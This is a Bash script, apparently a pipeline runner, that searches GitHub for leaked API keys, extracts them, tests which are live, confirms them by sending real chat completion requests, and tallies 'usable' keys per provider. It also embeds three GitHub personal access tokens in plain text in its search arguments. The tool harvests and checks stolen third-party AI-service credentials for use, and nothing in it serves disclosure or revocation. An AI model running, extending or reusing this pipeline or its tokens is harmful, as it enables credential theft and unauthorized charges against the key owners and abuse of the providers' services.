81 lines
4.1 KiB
Bash
Executable File
81 lines
4.1 KiB
Bash
Executable File
#!/bin/bash
|
|
# Full pipeline runner — broad search → extract → verify → deep verify
|
|
set -uo pipefail
|
|
|
|
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
RESULTS_DIR="${SCRIPT_DIR}/results"
|
|
LOG_FILE="${RESULTS_DIR}/full_run_$(date +%Y%m%d_%H%M%S).log"
|
|
|
|
exec > >(tee -a "$LOG_FILE") 2>&1
|
|
|
|
echo "══════════════════════════════════════════════════════════════"
|
|
echo "Full pipeline started: $(date)"
|
|
echo "Log: $LOG_FILE"
|
|
echo "══════════════════════════════════════════════════════════════"
|
|
|
|
GH_TOKEN=$(gh auth token 2>/dev/null)
|
|
if [ -z "$GH_TOKEN" ]; then
|
|
echo "ERROR: No GitHub token"
|
|
exit 1
|
|
fi
|
|
export GH_TOKEN
|
|
export PYTHONUNBUFFERED=1
|
|
|
|
# ── Step 1: GitHub broad search ───────────────────────────────
|
|
echo ""
|
|
echo "=== Step 1/4: GitHub Broad Search ==="
|
|
SEARCH_ARGS=(--token "$GH_TOKEN" --token "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" --token "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" --token "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" --no-topics --no-commits --max-results 200)
|
|
# Resume from checkpoint if present
|
|
if [ -f "${RESULTS_DIR}/candidates.checkpoint.json" ]; then
|
|
SEARCH_ARGS+=(--resume)
|
|
echo "Resuming from checkpoint..."
|
|
fi
|
|
python3 "${SCRIPT_DIR}/github_search.py" "${SEARCH_ARGS[@]}"
|
|
echo "Step 1 done: $(date)"
|
|
|
|
# ── Step 2: Extract keys from candidates ──────────────────────
|
|
echo ""
|
|
echo "=== Step 2/4: Extract Keys ==="
|
|
python3 "${SCRIPT_DIR}/extract.py"
|
|
echo "Step 2 done: $(date)"
|
|
|
|
# ── Step 3: Verify keys (parallel) ────────────────────────────
|
|
echo ""
|
|
echo "=== Step 3/4: Verify Keys ==="
|
|
python3 "${SCRIPT_DIR}/verify.py"
|
|
echo "Step 3 done: $(date)"
|
|
|
|
# ── Step 4: Deep verify (actual chat completions) ─────────────
|
|
echo ""
|
|
echo "=== Step 4/4: Deep Verify ==="
|
|
python3 "${SCRIPT_DIR}/deep_verify.py"
|
|
echo "Step 4 done: $(date)"
|
|
|
|
# ── Summary ───────────────────────────────────────────────────
|
|
echo ""
|
|
echo "══════════════════════════════════════════════════════════════"
|
|
echo "Pipeline complete: $(date)"
|
|
echo "══════════════════════════════════════════════════════════════"
|
|
echo ""
|
|
echo "=== Results Summary ==="
|
|
echo "Candidates: $(python3 -c "import json; print(len(json.load(open('${RESULTS_DIR}/candidates.json'))))" 2>/dev/null || echo '?')"
|
|
echo "Extracted: $(wc -l < "${RESULTS_DIR}/extracted_keys.txt" 2>/dev/null || echo '?')"
|
|
echo "Unique keys: $(wc -l < "${RESULTS_DIR}/unique_keys.txt" 2>/dev/null || echo '?')"
|
|
echo "Live (raw): $(wc -l < "${RESULTS_DIR}/live_keys_raw.txt" 2>/dev/null || echo '?')"
|
|
echo "Combined: $(wc -l < "${RESULTS_DIR}/live_keys_combined.txt" 2>/dev/null || echo '?')"
|
|
echo "Deep usable: $(wc -l < "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null || echo '?')"
|
|
echo ""
|
|
echo "=== Usable by provider ==="
|
|
cut -d'|' -f1 "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null | sort | uniq -c | sort -rn
|
|
|
|
# ── Diff against baseline ─────────────────────────────────────
|
|
BASELINE=$(ls -t "${RESULTS_DIR}/deep_verify/usable.txt.baseline_"* 2>/dev/null | head -1)
|
|
if [ -n "$BASELINE" ]; then
|
|
echo ""
|
|
echo "=== New usable keys (vs baseline) ==="
|
|
comm -13 <(sort "$BASELINE") <(sort "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null) | tee "${RESULTS_DIR}/new_usable.txt"
|
|
NEW_COUNT=$(wc -l < "${RESULTS_DIR}/new_usable.txt" 2>/dev/null | tr -d ' ')
|
|
echo ""
|
|
echo "New usable: ${NEW_COUNT:-0} keys"
|
|
fi
|